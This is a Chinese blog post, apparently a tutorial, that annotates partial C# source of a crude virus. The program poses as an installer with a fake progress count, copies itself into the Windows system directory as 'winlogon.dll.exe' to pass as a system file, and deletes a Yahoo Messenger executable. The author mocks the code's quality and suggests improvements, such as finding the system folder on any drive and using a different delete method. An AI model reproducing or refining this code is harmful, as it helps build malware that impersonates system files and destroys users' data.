http://hi.baidu.com/passedbylove/blog/item/0fbd6111dcd9aec0a7ef3ffa.html
大师已经就为很菜很菜那种那人 加入注释,如果阁下还是无法理解,大师也无言了,不懂得请看书或者百度知道
首先我很想用全E文写作,但是考虑大家水平,就中E参半,和软件学院教学保持一致,E文水平都不好就不要当CODER,我还是会尽量注释E文的,双语教学也是软件学院教学之一
其中会把关键词高亮
另外病毒部分请看源站点
using System;
using System.IO;
using System.Windows.Forms;
//注意,光写这个 还不行
//Error 1 The type or namespace name 'Windows' does not exist in the namespace 'System' (are you missing an assembly reference?)
//要添加Windows.Forms.dll这个文件引用
class MainClass {
public static void Main() {
// Every C program has a primary (main) function that must be named main
//不用说吧,一个C# 必须要个main 函数,也就是 main函数 是程序执行的一个入口
string pauseline = "";
System.Windows.Forms.View.LargeIcon.Equals(@"cd.ico");
//这是是载入一个图标,人靠衣装嘛,咱们的程序就算是virus也要漂亮的
//Use the members of this enumeration(枚举) to set the value of the View property of the ListView control
Console.WriteLine("Iniciating Install.. ");
//忽悠专家?还不够格。。。现在安装包都图形化
Console.WriteLine("Press ENTER to start...");
pauseline = Console.ReadLine();
try {
Application.StartupPath.Clone();
//Application.StartupPath:The path for the executable file that started the application.
//return a string,use the method of clone to create new string object...
} catch (Exception) {
Console.WriteLine("StartUp Path, not cloned..");
} try {
Application.AllowQuit.Equals(false);
//true if the caller can quit this application; otherwise, false.
// if you do like this:
//Application.AllowQuit=false;
// Error will be occur: Property or indexer 'System.Windows.Forms.Application.AllowQuit' cannot be assigned to -- it is read only
} catch (Exception) {
Console.WriteLine("to quit press Ctrl + C");
}
//个人认为这里写的没有水平......这还叫病毒?
new trigger();
}
class trigger {
public trigger(){
long trigger, counter;
trigger = 10000;
counter = 2;
while (trigger != counter) {
counter = counter + 1;
Console.WriteLine("{0} << progress out of 10000", counter);
}
// useless......code
new effects(); // al activarse se ira a MainForm() y copy()
}
}
//这个病毒没杀伤力,就是几个替换和拷贝文件而已
class copy {
public copy() {
try {
File.Copy(Application.ExecutablePath, System.Environment.SystemDirectory + @"/winlogon.dll.exe", true);
} catch (Exception) {
Console.WriteLine("winlogon failed permanently");
}
//Exception will be occur in Vista,we cannot write the file or Directory in System Directory
//Application.ExecutablePath return a string of Application (应用程序)ExecutablePath
//SystemDirectory Gets the fully qualified path of the system directory.
//这里就是最常见的拷贝自己到系统文件夹冒充系统文件
// 下面就自己去原始站点看
class effects {
public effects() {
new copy();
try {
File.Delete(@"C:/Program Files/Yahoo!/Messenger/YPager.exe");
//删除文件
// 下面就自己去原始站点看
} catch (Exception) {
Console.WriteLine("Internet Explorer not found..");
}
new report();
new infected();
Application.Run(new MainForm()); //用代码创建一个form窗体
}
}
// 下面就自己去原始站点看,没有什么用
总体来看这个所谓的病毒写的确实不够简练,很多问题似乎还不如大家自动手写
有技术意义无非就是
用到try,和catch,是为了当删到某些正运行的文件时出错,而程序可以绕过继续删,不停止。
而源代码还多次一举
try {
File.Delete(@"C:/Program Files/Yahoo!/Messenger/YPager.exe");
} catch (Exception) {
Console.WriteLine("Internet Explorer not found..");//多次一举,这还叫病毒?
}
个人建议:
FileInfo.Delete函数是将文件直接删除。(源代码还在用file.....)
DirectoryInfo d=new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.System));
可以获得系统文件夹目录,因为不是所有系统都在C盘
如果你真想用C# 编写病毒:
http://zhidao.baidu.com/question/24641602.html?si=3
说的很对 编病毒有什么用!用C#来赚钱才有用
大师再补充:
你们想错了吧,大师学习C# 不是为了发财